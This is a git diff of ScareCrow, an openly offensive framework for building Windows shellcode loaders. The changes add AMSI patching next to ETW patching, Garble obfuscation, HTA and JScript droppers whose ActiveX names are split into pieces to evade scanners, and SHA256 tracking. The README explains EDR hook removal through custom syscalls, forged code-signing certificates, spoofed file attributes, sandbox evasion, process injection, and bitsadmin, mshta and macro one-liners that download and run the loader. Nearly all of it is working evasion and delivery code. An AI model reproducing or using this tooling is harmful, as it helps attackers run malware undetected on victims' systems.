@@ -764,18 +868,18 @@ func JScriptLoader_Buff(name string, filename string, mode string, sandbox bool)
var buffer bytes.Buffer
JScriptLoader := &JScriptLoader{}
JScriptLoader.Variables = make(map[string]string)
- JScriptLoader.Variables["fso"] = Cryptor.VarNumberLength(4, 12)
- JScriptLoader.Variables["dropPath"] = Cryptor.VarNumberLength(4, 12)
- JScriptLoader.Variables["value"] = Cryptor.VarNumberLength(4, 12)
- JScriptLoader.Variables["strRegPath"] = Cryptor.VarNumberLength(4, 12)
- JScriptLoader.Variables["WshShell"] = Cryptor.VarNumberLength(4, 12)
- JScriptLoader.Variables["objShell"] = Cryptor.VarNumberLength(4, 12)
+ JScriptLoader.Variables["fso"] = Cryptor.VarNumberLength(10, 19)
+ JScriptLoader.Variables["dropPath"] = Cryptor.VarNumberLength(10, 19)
+ JScriptLoader.Variables["value"] = Cryptor.VarNumberLength(10, 19)
+ JScriptLoader.Variables["strRegPath"] = Cryptor.VarNumberLength(10, 19)
+ JScriptLoader.Variables["WshShell"] = Cryptor.VarNumberLength(10, 19)
+ JScriptLoader.Variables["objShell"] = Cryptor.VarNumberLength(10, 19)
if mode == "excel" {
JScriptLoader.Variables["ApplicationName"] = "excel.exe"
JScriptLoader.Variables["RegName"] = "Excel"
JScriptLoader.Variables["dllext"] = ".xll"
- JScriptLoader.Variables["objapp"] = Cryptor.VarNumberLength(4, 12)
- JScriptLoader.Variables["Application_Version"] = Cryptor.VarNumberLength(4, 12)
+ JScriptLoader.Variables["objapp"] = Cryptor.VarNumberLength(10, 19)
+ JScriptLoader.Variables["Application_Version"] = Cryptor.VarNumberLength(10, 19)
JScriptLoader.Variables["FileName"] = name
JScriptLoader.Variables["filename"] = filename
LoaderTemplate = Struct.JS_Office_Sub()
@@ -796,10 +900,10 @@ func JScriptLoader_Buff(name string, filename string, mode string, sandbox bool)
JScriptLoader.Variables["dllext"] = ".dll"
JScriptLoader.Variables["FileName"] = name
JScriptLoader.Variables["DLLName"] = name
- JScriptLoader.Variables["manifest"] = Cryptor.VarNumberLength(4, 12)
- JScriptLoader.Variables["ax"] = Cryptor.VarNumberLength(4, 12)
- JScriptLoader.Variables["Execute"] = Cryptor.VarNumberLength(4, 12)
- JScriptLoader.Variables["progid"] = Cryptor.VarNumberLength(4, 12)
+ JScriptLoader.Variables["manifest"] = Cryptor.VarNumberLength(10, 19)
+ JScriptLoader.Variables["ax"] = Cryptor.VarNumberLength(10, 19)
+ JScriptLoader.Variables["Execute"] = Cryptor.VarNumberLength(10, 19)
+ JScriptLoader.Variables["progid"] = Cryptor.VarNumberLength(10, 19)
JScriptLoader.Variables["filename"] = name
LoaderTemplate = Struct.WS_JS()
}
@@ -823,29 +927,31 @@ func JScript_Buff(fso string, dropPath string, encoded string, code string, name
SandboxJScript := &SandboxJScript{}
JScript.Variables = make(map[string]string)
SandboxJScript.Variables = make(map[string]string)
- JScript.Variables["DLLName"] = Cryptor.VarNumberLength(4, 12)
+ JScript.Variables["DLLName"] = Cryptor.VarNumberLength(10, 19)
JScript.Variables["fso"] = fso
JScript.Variables["dropPath"] = dropPath
- JScript.Variables["Base64"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["base6411"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["rtest"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["atest"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["ctest"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["ttest"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["etest"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["htest"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["atest"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["TextStream11"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["res1"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["filename1"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["characters"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["base6411decoded"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["BinaryStream"] = Cryptor.VarNumberLength(4, 12)
- JScript.Variables["binaryWriter"] = Cryptor.VarNumberLength(4, 12)
+ JScript.Variables["Base64"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["base6411"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["rtest"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["atest"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["ctest"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["ttest"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["etest"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["htest"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["atest"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["TextStream11"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["res1"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["filename1"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["characters"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["base6411decoded"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["BinaryStream"] = Cryptor.VarNumberLength(10, 19)
+ JScript.Variables["binaryWriter"] = Cryptor.VarNumberLength(10, 19)
JScript.Variables["dllname"] = ""
- JScript.Variables["dllvar"] = Cryptor.VarNumberLength(4, 12)
+ JScript.Variables["dllvar"] = Cryptor.VarNumberLength(10, 19)
JScript.Variables["dll"] = Utils.B64ripper(encoded, JScript.Variables["dllvar"], false)
JScript.Variables["Loader"] = code
+ JScript.Variables["Magic1"] = Cryptor.VarNumberLength(10, 19)
+
if mode == "excel" {
JScript.Variables["dllext"] = ".xll"
JScript.Variables["FileName"] = name
@@ -873,8 +979,8 @@ func JScript_Buff(fso string, dropPath string, encoded string, code string, name
}
if sandbox == true {
- SandboxJScript.Variables["objShell"] = Cryptor.VarNumberLength(4, 12)
- SandboxJScript.Variables["domain"] = Cryptor.VarNumberLength(4, 12)
+ SandboxJScript.Variables["objShell"] = Cryptor.VarNumberLength(10, 19)
+ SandboxJScript.Variables["domain"] = Cryptor.VarNumberLength(10, 19)
SandboxJScript.Variables["loader"] = buffer.String()
buffer.Reset()
SandboxJSTemplate, err := template.New("SandboxJScript").Parse(Struct.WScript_Sandbox())
@@ -890,12 +996,12 @@ func JScript_Buff(fso string, dropPath string, encoded string, code string, name
return buffer.String()
}
-func HTA_Buff(hexcode string, filename string) string {
+func HTA_Buff(hexcode string, filename string, HTAtemplate string) string {
var buffer bytes.Buffer
+ var HTATemplate_Struct string
HTALoader := &HTALoader{}
HTALoader.Variables = make(map[string]string)
HTALoader.Variables["payload"] = hexcode
- HTALoader.Variables["filename"] = filename
HTALoader.Variables["RNZyt"] = Cryptor.VarNumberLength(4, 9)
HTALoader.Variables["bogusWindows1252Chars"] = Cryptor.VarNumberLength(4, 9)
HTALoader.Variables["correctLatin1Chars"] = Cryptor.VarNumberLength(4, 9)
@@ -916,8 +1022,16 @@ func HTA_Buff(hexcode string, filename string) string {
HTALoader.Variables["obshell"] = Cryptor.VarNumberLength(4, 9)
HTALoader.Variables["test1"] = Cryptor.VarNumberLength(4, 9)
+ if HTAtemplate == "HTA_WScript" {
+ HTALoader.Variables["filename"] = filename + ".js"
+ HTATemplate_Struct = Struct.HTA_WScript()
+ } else {
+ HTALoader.Variables["filename"] = filename
+ HTATemplate_Struct = Struct.HTA()
+ }
+
buffer.Reset()
- HTATemplate, err := template.New("HTALoader").Parse(Struct.HTA())
+ HTATemplate, err := template.New("HTALoader").Parse(HTATemplate_Struct)
if err != nil {
log.Fatal(err)
}
@@ -956,34 +1070,61 @@ func Macro_Buff(URL string, outFile string) {
fmt.Println(buffer.String())
}
-func CompileFile(b64ciphertext string, b64key string, b64iv string, mode string, outFile string, refresher bool, console bool, sandbox bool, ETW bool, ProcessInjection string, sleep bool) (string, string) {
- var code string
+func CompileFile(b64ciphertext string, b64key string, b64iv string, mode string, outFile string, refresher bool, console bool, sandbox bool, ETW bool, ProcessInjection string, sleep bool, AMSI bool) (string, string) {
+ var code, FuncName, NTFuncName string
name, filename := FileName(mode)
if ETW == false {
fmt.Println("[+] Patched ETW Enabled")
}
- if ProcessInjection != "" && ETW == false {
- fmt.Println("[!] Warning ETW Will Only be Patched in the Primarly Process Not the Created One")
+ if AMSI == false {
+ fmt.Println("[+] Patched AMSI Enabled")
}
if ProcessInjection != "" {
fmt.Println("[+] Process Injection Mode Enabled")
fmt.Println("[*] Created Process: " + ProcessInjection)
}
if mode == "excel" || mode == "wscript" || mode == "control" || mode == "dll" || mode == "msiexec" {
- code = DLLfile(b64ciphertext, b64key, b64iv, mode, refresher, name, sandbox, ETW, ProcessInjection)
+ code, FuncName, NTFuncName = DLLfile(b64ciphertext, b64key, b64iv, mode, refresher, name, sandbox, ETW, ProcessInjection, AMSI)
} else {
- code = Binaryfile(b64ciphertext, b64key, b64iv, mode, console, sandbox, name, ETW, ProcessInjection, sleep)
+ code, FuncName, NTFuncName = Binaryfile(b64ciphertext, b64key, b64iv, mode, console, sandbox, name, ETW, ProcessInjection, sleep, AMSI)
}
os.MkdirAll(name, os.ModePerm)
Utils.Writefile(name+"/"+name+".go", code)
Utils.B64decode("loader.zip")
Utils.Unzip("loader.zip", name)
os.RemoveAll("loader.zip")
+ if mode == "binary" {
+ Utils.B64decode("icons.zip")
+ Utils.Unzip("icons.zip", name)
+ os.RemoveAll("icons.zip")
+ }
+ if mode == "control" {
+ Utils.B64decode("control.zip")
+ Utils.Unzip("control.zip", name)
+ os.RemoveAll("control.zip")
+ }
+ if mode == "wscript" {
+ Utils.B64decode("wscript.zip")
+ Utils.Unzip("wscript.zip", name)
+ os.RemoveAll("wscript.zip")
+ }
+ if mode == "excel" {
+ Utils.B64decode("excel.zip")
+ Utils.Unzip("excel.zip", name)
+ os.RemoveAll("excel.zip")
+ }
+ if mode == "dll" || mode == "msiexec" {
+ Utils.B64decode("dll.zip")
+ Utils.Unzip("dll.zip", name)
+ os.RemoveAll("dll.zip")
+ }
+
os.Chdir(name)
- Utils.ModuleObfuscator(name)
+ Shellcode_Buff(b64ciphertext, b64key, b64iv, FuncName, NTFuncName)
+ Utils.ModuleObfuscator(name, FuncName)
return name, filename
}
-func CompileLoader(mode string, outFile string, filename string, name string, CommandLoader string, URL string, sandbox bool) {
+func CompileLoader(mode string, outFile string, filename string, name string, CommandLoader string, URL string, sandbox bool, Sha bool) {
if mode == "excel" {
os.Rename(name+".dll", name+".xll")
} else if mode == "control" {
@@ -1030,9 +1171,17 @@ func CompileLoader(mode string, outFile string, filename string, name string, Co
finalcode := JScript_Buff(fso, dropPath, encoded, code, name, mode, sandbox)
URL = Utils.Command(URL, CommandLoader, outFile)
if CommandLoader == "hta" {
- hexcode := hex.EncodeToString(content)
- finalcode = HTA_Buff(hexcode, filename)
-
+ var HTAtemplate string
+ if mode == "wscript" {
+ HTAtemplate = "HTA_WScript"
+ finalcode = HTA_Buff(hex.EncodeToString([]byte(finalcode)), filename, HTAtemplate)
+ if Sha == true {
+ fmt.Println("[!] Note an additional file: " + filename + ".js will be dropped in the user's TEMP folder")
+ }
+ } else {
+ HTAtemplate = "HTA"
+ finalcode = HTA_Buff(finalcode, filename, HTAtemplate)
+ }
}
if CommandLoader == "macro" {
Macro_Buff(URL, outFile)
@@ -1040,6 +1189,9 @@ func CompileLoader(mode string, outFile string, filename string, name string, Co
Utils.Writefile(outFile, finalcode)
os.Chdir("..")
os.Rename(name+"/"+outFile, outFile)
+ if Sha == true {
+ Utils.Sha256(outFile)
+ }
os.RemoveAll(name)
fmt.Println("[+] Loader Compiled")
}
diff --git a/README.md b/README.md
index d36fb83..75807b1 100644
--- a/README.md
+++ b/README.md
@@ -15,7 +15,9 @@ If you want to learn more about the techniques utilized in this framework please
## Description
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process's memory. This works because we know the EDR’s hooks are placed when a process is spawned. ScareCrow can target these DLLs and manipulate them in memory by using the API function VirtualProtect, which changes a section of a process’ memory permissions to a different value, specifically from Execute–Read to Read-Write-Execute.
-When executed, ScareCrow will copy the bytes of the system DLLs stored on disk in `C:\Windows\System32\`. These DLLs are stored on disk “clean” of EDR hooks because they are used by the system to load an unaltered copy into a new process when it’s spawned. Since EDR’s only hook these processes in memory, they remain unaltered. ScareCrow does not copy the entire DLL file, instead only focuses on the .text section of the DLLs. This section of a DLL contains the executable assembly, and by doing this ScareCrow helps reduce the likelihood of detection as re-reading entire files can cause an EDR to detect that there is a modification to a system resource. The data is then copied into the right region of memory by using each function’s offset. Each function has an offset which denotes the exact number of bytes from the base address where they reside, providing the function’s location on the stack. To do this, ScareCrow changes the permissions of the .text region of memory using VirtualProtect. Even though this is a system DLL, since it has been loaded into our process (that we control), we can change the memory permissions without requiring elevated privileges.
+When executed, ScareCrow will copy the bytes of the system DLLs stored on disk in `C:\Windows\System32\`. These DLLs are stored on disk “clean” of EDR hooks because they are used by the system to load an unaltered copy into a new process when it’s spawned. Since EDR’s only hook these processes in memory, they remain unaltered. ScareCrow does not copy the entire DLL file, instead only focuses on the .text section of the DLLs. This section of a DLL contains the executable assembly, and by doing this ScareCrow helps reduce the likelihood of detection as re-reading entire files can cause an EDR to detect that there is a modification to a system resource. The data is then copied into the right region of memory by using each function’s offset. Each function has an offset which denotes the exact number of bytes from the base address where they reside, providing the function’s location on the stack.
+
+To do this, ScareCrow changes the permissions of the .text region of memory using VirtualProtect. Even though this is a system DLL, since it has been loaded into our process (that we control), we can change the memory permissions without requiring elevated privileges.
Once these the hooks are removed, ScareCrow then utilizes custom System Calls to load and run shellcode in memory. ScareCrow does this even after the EDR hooks are removed to help avoid detection by non-userland, hook-based telemetry gathering tools such as Event Tracing for Windows (ETW) or other event logging mechanisms. These custom system calls are also used to perform the VirtualProtect call to remove the hooks placed by EDRs, described above, to avoid detection by any EDR’s anti-tamper controls. This is done by calling a custom version of the VirtualProtect syscall, NtProtectVirtualMemory. ScareCrow utilizes Golang to generate these loaders and then assembly for these custom syscall functions.
@@ -32,7 +34,7 @@ During the creation process of the loader, ScareCrow utilizes a library for blen
Files that are signed with code signing certificates are often put under less scrutiny, making it easier to be executed without being challenged, as files signed by a trusted name are often less suspicious than others. Most antimalware products don’t have the time to validate and verify these certificates (now some do but typically the common vendor names are included in a whitelist). ScareCrow creates these certificates by using a go package version of the tool `limelighter` to create a pfx12 file. This package takes an inputted domain name, specified by the user, to create a code signing certificate for that domain. If needed, you can also use your own code signing certificate if you have one, using the valid command-line option.
#### OpSec Consideration:
- When signing the loader with microsoft.com, using them against WINDOWS DEFENDER products may not be as effective as they can validate the cert as it belongs to them. If you are using a loader against a windows product possibly use a different domain.
+ When signing the loader with microsoft.com, using them against WINDOWS DEFENDER ATP products may not be as effective as they can validate the cert as it belongs to them. If you are using a loader against a windows product possibly use a different domain.
* Spoof the attributes of the loader:
This is done by using syso files which are a form of embedded resource files that when compiled along with our loader, will modify the attribute portions of our compiled code. Prior to generating a syso file, ScareCrow will generate a random file name (based on the loader type) to use. Once chosen, this file name will map to the associated attributes for that file name, ensuring that the right values are assigned.
@@ -69,6 +71,12 @@ Then build it
```
go build ScareCrow.go
```
+In addition ScareCrow utlizes [Garble](https://github.com/burrowers/garble) for obfuscating all loaders.
+
+Note: Several of the dependencies do not play well on Windows when compiling, because of this it is recommended to compile your loaders on OSX or Linux.
+
+
+
## Help
@@ -99,19 +107,23 @@ Usage of ./ScareCrow:
[*] wscript - Loads into WScript process using a JScript loader. (default "binary")
-O string
Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.
+ -Sha256
+ Provides the SHA256 value of the loaders (This is useful for tracking)
-configfile string
The path to a json based configuration file to generate custom file attributes. This will not use the default ones.
-console
Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
-delivery string
Generates a one-liner command to download and execute the payload remotely:
- [*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader (Compatible with Binary, Control, Excel and Wscript Loaders).
+ [*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader (Compatible with Binary, Control, Excel, and Wscript Loaders).
[*] hta - Generates a blank hta file containing the loader along with an MSHTA command to execute the loader remotely in the background (Compatible with Control and Excel Loaders).
- [*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel and Wscript Loaders)
+ [*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel, and Wscript Loaders).
-domain string
The domain name to use for creating a fake code signing cert. (e.g. www.acme.com)
-injection string
Enables Process Injection Mode and specify the path to the process to create/inject into (use \ for the path).
+ -noamsi
+ Disables the AMSI patching that prevents AMSI BuffferScanner.
-noetw
Disables the ETW patching that prevents ETW events from being generated.
-nosleep
@@ -149,10 +161,14 @@ ScareCrow contains the ability to do process injection attacks. To avoid any hoo
This option can be used with any of the loader options. To enable process injection, use the `-injection` command-line option along with the full path to the process you want to use to inject into. When putting the path in as an argument, it is important to either surround the full path with `""` or use double `\` for each directory in the path.
-## ETW Bypass
-ScareCrow contains the ability to patch ETW functions, preventing any event from being generated by the process. ETW utilizes built-in Syscalls to generate this telemetry. Since ETW is a native feature built into Windows, security products do not need to "hook" the ETW syscalls to gain the information. As a result, to prevent ETW, ScareCrow patches numerous ETW syscalls, flushing out the registers and returning the execution flow to the next instruction. Patching ETW is now default in all loaders, if you wish to not patch ETW use the `-noetw` command-line option to disable it in your loader.
+## AMSI & ETW Bypass
+ScareCrow contains the ability to patch AMSI (Antimalware Scan Interface) and ETW functions, preventing any event from being generated by the process.
-Currently, this option only works for the parent process, if the `-injection` command-line option is used the primary process will patch ETW but the injected process will not.
+AMSI is a Windows native API that allows Windows Defender (or other antimalware products) to interface deep in the Windows operating system and provide enhanced protection, specifically around in-memory-based attacks. AMSI allows security products to better detect malicious indicators and help stop threats. Since AMSI is native to Windows products don't need to "hook" AMSI rather they load the nesscary DLL to in order to gain enahnced insight into the process. Because of this ScareCrow loads the AMSI.dll dll and then patches, to ensure that any results from the scanning interface come back clean. Patching AMSI is default in all loaders, if you wish to not patch AMSI use the `-noamsi` command-line option to disable it in your loader.
+
+ETW utilizes built-in Syscalls to generate this telemetry. Since ETW is also a native feature built into Windows, security products do not need to "hook" the ETW syscalls to gain the information. As a result, to prevent ETW, ScareCrow patches numerous ETW syscalls, flushing out the registers and returning the execution flow to the next instruction. Patching ETW is now default in all loaders, if you wish to not patch ETW use the `-noetw` command-line option to disable it in your loader.
+
+Currently, these options only work for the parent process, if the `-injection` command-line option is used the primary process will patch AMSI and ETW but the injected process
## Delivery
@@ -165,10 +181,15 @@ The deliver command line argument allows you to generate a command or string of
While ScareCrow has an extensive list of file attributes, there are some circumstances where a custom (maybe environment-specific) set of attributes is required. To accommodate this, ScareCrow allows for the inputting of a JSON file containing attributes. Using the `-configfile` command-line option, ScareCrow will use these attributes and filename instead of the pre-existing ones in ScareCrow. The file `main.json` contains a sample template of what the JSON structure needs to be to properly work. Note whatever you use as the "InternalName" will be the file name.
+## Hash
+
+Since ScareCrow creates unique loaders that can also be embedded in scripts or other files for delivery, ScareCrow has the ability to provide you the hashes of all artifacts, using the `-sha256`.
+
## To Do
* Currently only supports x64 payloads
* Some older versions of Window's OSes (i.e. Windows 7 or Windows 8.1), have issues reloading the systems DLLs, as a result a version check is built in to ensure stability
-* Patch ETW in Injected processes
+* Patch ETW and AMSI in Injected processes
## Credit
* Special thanks to josephspurrier for his [repo](https://github.com/josephspurrier/goversioninfo)
+* Special thanks to mvdan for developing [Garble](https://github.com/burrowers/garble)
diff --git a/ScareCrow.go b/ScareCrow.go
index 5f81c0f..8cc3db8 100644
--- a/ScareCrow.go
+++ b/ScareCrow.go
@@ -14,6 +14,7 @@ import (
"fmt"
"io/ioutil"
"log"
+ "os"
"os/exec"
)
@@ -28,7 +29,9 @@ type FlagOptions struct {
valid string
configfile string
ProcessInjection string
+ AMSI bool
ETW bool
+ Sha bool
console bool
refresher bool
sandbox bool
@@ -51,17 +54,19 @@ func options() *FlagOptions {
CommandLoader := flag.String("delivery", "", `Generates a one-liner command to download and execute the payload remotely:
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader (Compatible with Binary, Control, Excel, and Wscript Loaders).
[*] hta - Generates a blank hta file containing the loader along with an MSHTA command to execute the loader remotely in the background (Compatible with Control and Excel Loaders).
-[*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel, and Wscript Loaders)`)
+[*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel, and Wscript Loaders).`)
domain := flag.String("domain", "", "The domain name to use for creating a fake code signing cert. (e.g. www.acme.com) ")
password := flag.String("password", "", "The password for code signing cert. Required when -valid is used.")
+ AMSI := flag.Bool("noamsi", false, "Disables the AMSI patching that prevents AMSI BuffferScanner.")
ETW := flag.Bool("noetw", false, "Disables the ETW patching that prevents ETW events from being generated.")
+ Sha := flag.Bool("sha256", false, "Provides the SHA256 value of the loaders (This is useful for tracking)")
ProcessInjection := flag.String("injection", "", "Enables Process Injection Mode and specify the path to the process to create/inject into (use \\ for the path).")
configfile := flag.String("configfile", "", "The path to a json based configuration file to generate custom file attributes. This will not use the default ones.")
valid := flag.String("valid", "", "The path to a valid code signing cert. Used instead -domain if a valid code signing cert is desired.")
sandbox := flag.Bool("sandbox", false, `Enables sandbox evasion using IsDomainedJoined calls.`)
sleep := flag.Bool("nosleep", false, `Disables the sleep delay before the loader unhooks and executes the shellcode.`)
flag.Parse()
- return &FlagOptions{outFile: *outFile, inputFile: *inputFile, URL: *URL, LoaderType: *LoaderType, CommandLoader: *CommandLoader, domain: *domain, password: *password, configfile: *configfile, console: *console, ETW: *ETW, ProcessInjection: *ProcessInjection, refresher: *refresher, valid: *valid, sandbox: *sandbox, sleep: *sleep}
+ return &FlagOptions{outFile: *outFile, inputFile: *inputFile, URL: *URL, LoaderType: *LoaderType, CommandLoader: *CommandLoader, domain: *domain, password: *password, configfile: *configfile, console: *console, AMSI: *AMSI, ETW: *ETW, Sha: *Sha, ProcessInjection: *ProcessInjection, refresher: *refresher, valid: *valid, sandbox: *sandbox, sleep: *sleep}
}
func execute(opt *FlagOptions, name string) string {
@@ -80,9 +85,14 @@ func execute(opt *FlagOptions, name string) string {
name = limelighter.FileProperties(name, opt.configfile)
}
if opt.LoaderType == "binary" {
- cmd = exec.Command(bin, "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "go", "build", "-a", "-trimpath", "-ldflags", "-w -s -buildid=", "-o", ""+name+".exe")
+ cmd = exec.Command(bin, "GOOS=windows", "GOARCH=amd64", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "build", "-a", "-trimpath", "-ldflags", "-w -s -buildid=", "-o", ""+name+".exe")
+
} else {
- cmd = exec.Command(bin, "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "go", "build", "-a", "-trimpath", "-ldflags", "-w -s -buildid=", "-o", ""+name+".dll", "-buildmode=c-shared")
+ cwd, err := os.Getwd()
+ if err != nil {
+ fmt.Println(err)
+ }
+ cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "build", "-a", "-trimpath", "-ldflags=-extldflags=-Wl,"+cwd+"/"+name+".exp -w -s -buildid=", "-o", ""+name+".dll", "-buildmode=c-shared")
}
fmt.Println("[*] Compiling Payload")
var out bytes.Buffer
@@ -101,6 +111,9 @@ func execute(opt *FlagOptions, name string) string {
fmt.Println("[+] Payload Compiled")
limelighter.Signer(opt.domain, opt.password, opt.valid, compiledname)
+ if opt.Sha == true {
+ Utils.Sha256(compiledname)
+ }
return name
}
@@ -147,6 +160,10 @@ func main() {
fmt.Println("[!] -O not needed. This loader type uses the name of the file they are spoofing")
}
+ if opt.outFile == "" && (opt.LoaderType == "wscript" || opt.LoaderType == "excel") {
+ log.Fatal("Error: -O is needed for these types of loaders")
+ }
+
if opt.LoaderType == "binary" && opt.refresher == true {
log.Fatal("Error: Can not use the unmodified option with a binary loader")
}
@@ -167,10 +184,15 @@ func main() {
log.Fatal("Error: Please provide a password for the valid code signing certificate")
}
- if opt.ProcessInjection != "" && opt.ETW == true {
- fmt.Println("[!] Currently ETW patching only affects the parent process not the injected process")
+ if opt.ProcessInjection != "" && (opt.ETW == true || opt.AMSI == true) {
+ fmt.Println("[!] Currently ETW and AMSI patching only affects the parent process not the injected process")
}
+ if opt.ProcessInjection != "" && opt.refresher == true {
+ log.Fatal("Error: Can not use the unmodified option with the process injection loaders")
+ }
+
+ Utils.CheckGarble()
var rawbyte []byte
src, _ := ioutil.ReadFile(opt.inputFile)
dst := make([]byte, hex.EncodedLen(len(src)))
@@ -196,8 +218,8 @@ func main() {
b64key := base64.StdEncoding.EncodeToString(key)
b64iv := base64.StdEncoding.EncodeToString(iv)
fmt.Println("[+] Shellcode Encrypted")
- name, filename := Loader.CompileFile(b64ciphertext, b64key, b64iv, opt.LoaderType, opt.outFile, opt.refresher, opt.console, opt.sandbox, opt.ETW, opt.ProcessInjection, opt.sleep)
+ name, filename := Loader.CompileFile(b64ciphertext, b64key, b64iv, opt.LoaderType, opt.outFile, opt.refresher, opt.console, opt.sandbox, opt.ETW, opt.ProcessInjection, opt.sleep, opt.AMSI)
name = execute(opt, name)
- Loader.CompileLoader(opt.LoaderType, opt.outFile, filename, name, opt.CommandLoader, opt.URL, opt.sandbox)
+ Loader.CompileLoader(opt.LoaderType, opt.outFile, filename, name, opt.CommandLoader, opt.URL, opt.sandbox, opt.Sha)
}
diff --git a/Screenshots/File_Attributes.png b/Screenshots/File_Attributes.png
index 05355a4..57f963e 100644
Binary files a/Screenshots/File_Attributes.png and b/Screenshots/File_Attributes.png differ
diff --git a/Struct/Struct.go b/Struct/Struct.go
index cfeb86e..46fd65f 100644
--- a/Struct/Struct.go
+++ b/Struct/Struct.go
@@ -29,7 +29,7 @@ func JS_Office_Export() string {
return `
//export xlAutoOpen
func xlAutoOpen() {
- Start()
+ Run()
}`
}
@@ -37,7 +37,7 @@ func JS_Control_Export() string {
return `
//export CPlApplet
func CPlApplet() {
- Start()
+ Run()
}`
}
@@ -45,17 +45,17 @@ func WS_JS_Export() string {
return `
//export DllRegisterServer
func DllRegisterServer() {
- Start()
+ Run()
}
//export DllGetClassObject
func DllGetClassObject() {
- Start()
+ Run()
}
//export DllUnregisterServer
func DllUnregisterServer() {
- Start()
+ Run()
}`
}
@@ -72,6 +72,21 @@ func WScript_Sandbox() string {
}
func HTA() string {
+ return `
+
+
+
+
+
+
+`
+}
+
+func HTA_WScript() string {
return `
@@ -80,10 +95,10 @@ func HTA() string {
window.resizeTo(0,0);
try {
var {{.Variables.RNZyt}} = window.document.location.pathname;
- var {{.Variables.fos}} = new ActiveXObject("Scripting.FileSystemObject");
+ var {{.Variables.fos}} = new ActiveXObject("Scri"+"pting.FileSy"+"stemObject");
var {{.Variables.bogusWindows1252Chars}} = "\u20AC\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\u0160\u2039\u0152\u017D\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\u0161\u203A\u0153\u017E\u0178";
var {{.Variables.correctLatin1Chars}} = "\u0080\u0082\u0083\u0084\u0085\u0086\u0087\u0088\u0089\u008A\u008B\u008C\u008E\u0091\u0092\u0093\u0094\u0095\u0096\u0097\u0098\u0099\u009A\u009B\u009C\u009E\u009F";
- var {{.Variables.obshell}} = new ActiveXObject("Shell.Application");
+ var {{.Variables.obshell}} = new ActiveXObject("Sh"+"ell.App"+"lication");
var {{.Variables.pathworks}} = new ActiveXObject("Wscri"+"pt.shell");
var {{.Variables.dest}} = {{.Variables.pathworks}}.ExpandEnvironmentStrings("%TEMP%") + "\\{{.Variables.filename}}";
@@ -138,7 +153,7 @@ func HTA() string {
}
{{.Variables.decode}}();
- {{.Variables.obshell}}.ShellExecute(""+{{.Variables.dest}}+"","","","",0);
+ {{.Variables.obshell}}.ShellExecute("C:\\Windows\\Sysnative\\wscript.exe",""+{{.Variables.dest}}+"","","",0);
}
catch (err){
}
@@ -152,7 +167,7 @@ func HTA() string {
func JS_Office_Sub() string {
return `
- var {{.Variables.fso}} = new ActiveXObject("Scripting.FileSystemObject");
+ var {{.Variables.fso}} = new ActiveXObject("Scrip"+"ting.FileS"+"ystemObject");
var {{.Variables.dropPath}} = {{.Variables.fso}}.GetSpecialFolder(2);
var {{.Variables.objapp}} = new ActiveXObject("{{.Variables.RegName}}.Application");
{{.Variables.objapp}}.Visible = false;
@@ -163,7 +178,7 @@ func JS_Office_Sub() string {
{{.Variables.WshShell}}.RegWrite({{.Variables.strRegPath}},{{.Variables.value}}, "REG_SZ");
var {{.Variables.objShell}} = new ActiveXObject("shell.application");
{{.Variables.objShell}}.ShellExecute("{{.Variables.ApplicationName}}", "", "", "open", 0);
- WScript.Sleep(20000);
+ WScript.Sleep(40000);
{{.Variables.WshShell}}.RegDelete({{.Variables.strRegPath}});
